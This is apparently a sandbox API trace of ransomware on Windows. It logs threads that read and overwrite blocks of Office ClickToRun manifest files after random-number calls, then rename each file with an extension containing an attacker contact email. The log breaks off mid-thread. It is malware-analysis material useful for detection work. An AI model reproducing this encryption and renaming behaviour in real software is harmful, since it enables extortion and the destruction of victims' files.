	[0089.378] NtQuerySystemTime (in: CurrentTime=0x2d13f8f0 | out: CurrentTime=0x2d13f8f0*=132251868161163024) returned 0x0
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xbfa56cb4
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x645746d
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x2dde019e
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x8a62ac3b
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xdd225257
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xe631687e
	[0089.378] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xa285aebb
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x303a5d81
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x5a6e72ff
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x6b1a0d8c
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xfec46ef9
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x5a522a90
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x5ef4e835
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x2f5d5ab7
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x6623769e
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x80fd707c
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xdf5df3cb
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x36a0554a
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x54eca728
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xe1ebd5da
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x99a3d0d9
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x87f12f12
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x7c72e87a
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x8d44448c
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x8e0626ad
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xb99b3c5e
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x9c520942
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0xf94a715b
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x2df354d3
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x225fbd1a
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x48dac546
	[0089.379] RtlRandom (in: Seed=0x2d13f8fc | out: Seed=0x2d13f8fc) returned 0x77ba47de
	[0089.388] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.388] ReadFile (in: hFile=0x1c58, lpBuffer=0x5059858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d13f8d0, lpOverlapped=0x0 | out: lpBuffer=0x5059858*, lpNumberOfBytesRead=0x2d13f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0089.391] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0089.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e98
	[0089.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e98) returned 1
	[0089.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5066060
	[0089.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d80
	[0089.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e98
	[0089.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e98) returned 1
	[0089.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0089.395] WriteFile (in: hFile=0x1c58, lpBuffer=0x5066060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d13f8d0, lpOverlapped=0x0 | out: lpBuffer=0x5066060*, lpNumberOfBytesWritten=0x2d13f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0089.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5066060) returned 1
	[0089.447] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059858) returned 1
	[0089.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2d83288
	[0089.447] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.447] WriteFile (in: hFile=0x1c58, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x2d13f950, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2d13f950*=0x151, lpOverlapped=0x0) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a90) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d08) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d80) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ee8) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e48) returned 1
	[0089.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e70) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x2e02570
	[0089.476] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml"
	[0089.476] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.476] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2d13f908, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x154) returned 0x4730008
	[0089.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.477] NtQueryInformationFile (in: FileHandle=0x1c58, IoStatusBlock=0x2d13f914, FileInformation=0x2d13f8ec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d13f914, FileInformation=0x2d13f8ec) returned 0x0
	[0089.477] NtSetInformationFile (FileHandle=0x1c58, IoStatusBlock=0x2d13f914, FileInformation=0x2d13f8ec, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.478] FlushFileBuffers (hFile=0x1c58) returned 1
	[0093.271] CloseHandle (hObject=0x1c58) 

Thread:
	id = 1306
	os_tid = 0x20a4

	[0089.378] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x20
	[0089.389] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.389] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c5c
	[0089.389] GetFileSizeEx (in: hFile=0x1c5c, lpFileSize=0x2d1bf75c | out: lpFileSize=0x2d1bf75c*=986292) returned 1
	[0089.389] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0xf0cb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.389] ReadFile (in: hFile=0x1c5c, lpBuffer=0x2d1bf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d1bf6dc, lpOverlapped=0x0 | out: lpBuffer=0x2d1bf6e0*, lpNumberOfBytesRead=0x2d1bf6dc*=0x4, lpOverlapped=0x0) returned 1
	[0089.396] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731f38
	[0089.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.396] NtQuerySystemTime (in: CurrentTime=0x2d1bf6bc | out: CurrentTime=0x2d1bf6bc*=132251868161319873) returned 0x0
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x2be637be
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x1fe2c0b2
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x3ff66129
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x7ee78a61
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xa5c9b847
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x1a013e7c
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xfc92b99
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x9b72136e
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xe22e4196
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x52fea08c
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x42115505
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xb1562a2a
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x6ab4c1b0
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x4eb6a28a
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xad1b1270
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xf3a3b3f2
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x5bdadbc6
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xf9a2d233
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x5cd08659
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xdec4eae
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x478c8f2c
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xfff462a0
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x4f816141
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xb17d67e2
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x8c1e39f2
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xba1fe3e1
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0xede2fc0e
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x44aeed59
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x2c43b9a8
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x2565608d
	[0089.396] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x3aec15eb
	[0089.397] RtlRandom (in: Seed=0x2d1bf6c8 | out: Seed=0x2d1bf6c8) returned 0x83464de8
	[0089.406] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.406] ReadFile (in: hFile=0x1c5c, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.442] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0089.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ce0) returned 1
	[0089.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x508b878
	[0089.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d08) returned 1
	[0089.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.446] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0089.446] WriteFile (in: hFile=0x1c5c, lpBuffer=0x508b878*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x508b878*, lpNumberOfBytesWritten=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x508b878) returned 1
	[0089.461] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x7d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.461] ReadFile (in: hFile=0x1c5c, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.498] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x7d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0089.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0089.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.498] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d08) returned 1
	[0089.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50ca0a0
	[0089.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0089.502] WriteFile (in: hFile=0x1c5c, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0089.512] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0xe44b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.512] ReadFile (in: hFile=0x1c5c, lpBuffer=0x5072868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.518] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0xe44b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb660
	[0089.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83288
	[0089.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0089.518] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0089.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5059858
	[0089.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0089.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ab0
	[0089.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ab0) returned 1
	[0089.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0089.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb660) returned 1
	[0089.520] WriteFile (in: hFile=0x1c5c, lpBuffer=0x5059858*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d1bf674, lpOverlapped=0x0 | out: lpBuffer=0x5059858*, lpNumberOfBytesWritten=0x2d1bf674*=0xc800, lpOverlapped=0x0) returned 1
	[0089.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5059858) returned 1
	[0089.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0089.524] SetFilePointerEx (in: hFile=0x1c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.524] WriteFile (in: hFile=0x1c5c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x17b, lpNumberOfBytesWritten=0x2d1bf71c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2d1bf71c*=0x17b, lpOverlapped=0x0) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ae0) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ee8) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731f38) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e98) returned 1
	[0089.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731f60) returned 1
	[0089.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2e02570
	[0089.526] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml"
	[0089.526] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.526] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2d1bf6d4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x498ed90
	[0089.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0089.527] NtQueryInformationFile (in: FileHandle=0x1c5c, IoStatusBlock=0x2d1bf6e0, FileInformation=0x2d1bf6b8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d1bf6e0, FileInformation=0x2d1bf6b8) returned 0x0
	[0089.527] NtSetInformationFile (FileHandle=0x1c5c, IoStatusBlock=0x2d1bf6e0, FileInformation=0x2d1bf6b8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.528] FlushFileBuffers (hFile=0x1c5c) returned 1
	[0093.272] CloseHandle (hObject=0x1c5c) 

Thread:
	id = 1307
	os_tid = 0x20a8

	[0089.407] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.407] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.407] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c60
	[0089.408] GetFileSizeEx (in: hFile=0x1c60, lpFileSize=0x2d23fbd4 | out: lpFileSize=0x2d23fbd4*=86894) returned 1
